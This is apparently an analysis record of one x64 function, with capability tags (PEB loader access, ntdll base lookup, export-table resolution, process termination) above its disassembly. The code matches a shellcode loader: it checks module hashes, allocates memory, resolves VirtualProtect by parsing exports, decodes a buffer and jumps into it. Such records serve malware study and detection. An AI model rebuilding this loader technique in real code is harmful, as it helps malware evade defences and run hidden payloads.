Function at 0x1401c6978
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports
Terminate process

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax]
mov rcx, qword [rcx]
mov r9, qword [rcx + 0x60]
test r9, r9
je 0x1401c6996
mov r15, qword [rcx + 0x30]
mov r8d, dword [0x140286b7c]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
add rcx, 0x10
test r8d, r8d
jne 0x1401c6a2d
nop dword [rax]
mov rcx, qword [rcx]
cmp qword [rcx + 0x60], 0
je 0x1401c69c6
mov r14, qword [rcx + 0x30]
mov rcx, qword [0x140286b28]
mov edx, dword [rcx]
test edx, edx
je 0x1401c6ab6
mov ebx, edx
shr ebx, 8
xor edi, edi
nop word cs:[rax + rax]
mov eax, edi
inc edi
cmp word [r9 + rax*2], 0
jne 0x1401c69f6
inc dl
cmp dl, dil
je 0x1401c6a76
inc bl
cmp bl, dil
je 0x1401c6a76
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor esi, esi
cmp esi, r8d
je 0x1401c69d0
mov rcx, qword [rcx]
mov rbx, qword [rcx + 0x60]
test rbx, rbx
je 0x1401c6a2d
movzx edi, word [rbx]
test di, di
je 0x1401c6a26
add rbx, 2
xor esi, esi
nop word cs:[rax + rax]
lea edx, [rdi - 0x41]
lea eax, [rdi + 0x20]
cmp dx, 0x1a
cmovae eax, edi
movzx eax, ax
add esi, eax
movzx edi, word [rbx]
add rbx, 2
test di, di
jne 0x1401c6a56
jmp 0x1401c6a28
movzx ebx, word [r9]
xor edx, edx
test bx, bx
je 0x1401c6aa8
add r9, 2
xor edx, edx
nop word cs:[rax + rax]
movzx eax, bx
add edx, eax
movzx ebx, word [r9]
add r9, 2
test bx, bx
jne 0x1401c6a96
cmp edx, dword [rcx + 4]
je 0x1401c6ab6
cmp edx, dword [rcx + 8]
jne 0x1401c6a10
mov dword [rsp + 0x2c], 0
mov edx, dword [0x140286b50]
xor esi, esi
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [0x1401c89b6], 0
je 0x1401c6b04
nop dword [rax]
mov rcx, qword [str.VirtualProtect]
movsxd rsi, esi
mov ecx, dword [rcx + rsi]
mov dword [rax + rsi], ecx
add esi, dword [reloc.OLEAUT32.dll_SysReAllocStringLen]
cmp esi, dword [0x140286b60]
jb 0x1401c6ae6
test r14, r14
je 0x1401c6a10
movsxd rcx, dword [r14 + 0x3c]
mov r8d, dword [r14 + rcx + 0x88]
mov r9d, dword [r14 + r8 + 0x18]
test r9, r9
je 0x1401c6a10
mov r10d, dword [r14 + r8 + 0x20]
add r10, r14
movzx r11d, byte [rax]
xor ecx, ecx
jmp 0x1401c6b52
inc rcx
cmp rcx, r9
je 0x1401c6a10
mov edi, dword [r10 + rcx*4]
cmp byte [r14 + rdi], r11b
jne 0x1401c6b46
add rdi, r14
mov esi, 1
mov edx, r11d
nop word cs:[rax + rax]
test dl, dl
je 0x1401c6b89
mov ebx, esi
movzx edx, byte [rdi + rbx]
inc esi
cmp dl, byte [rax + rbx]
je 0x1401c6b76
jmp 0x1401c6b46
mov eax, ecx
mov ecx, dword [r14 + r8 + 0x1c]
mov edx, dword [r14 + r8 + 0x24]
add rcx, r14
add rdx, r14
movzx eax, word [rdx + rax*2]
mov ebx, dword [rcx + rax*4]
add rbx, r14
mov rsi, qword [0x140286b3c]
mov r8d, dword [0x140286b60]
mov edx, dword [0x140286b54]
lea r9, [rsp + 0x2c]
mov rcx, rsi
call rbx
mov rax, qword [0x140286b44]
mov ecx, eax
mov eax, dword [r15 + rcx + 4]
mov edx, dword [0x140286b54]
cmp edx, 9
jb 0x1401c6c00
add r15, rcx
mov ecx, 8
nop
movsxd rcx, ecx
mov edx, dword [r15 + rcx]
add edx, eax
mov dword [rsi + rcx], edx
add ecx, dword [reloc.OLEAUT32.dll_SysReAllocStringLen]
cmp ecx, dword [0x140286b54]
jb 0x1401c6be6
mov eax, dword [0x140286b64]
mov dword [rsi + 8], eax
mov r8d, dword [rsp + 0x2c]
mov edx, dword [0x140286b54]
lea r9, [rsp + 0x2c]
mov rcx, rsi
call rbx
mov eax, dword [0x140286b80]
add rax, rsi
mov edx, dword [rsi + 0xc]
add rdx, rax
mov ecx, dword [0x140286b80]
add rcx, rsi
call rdx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]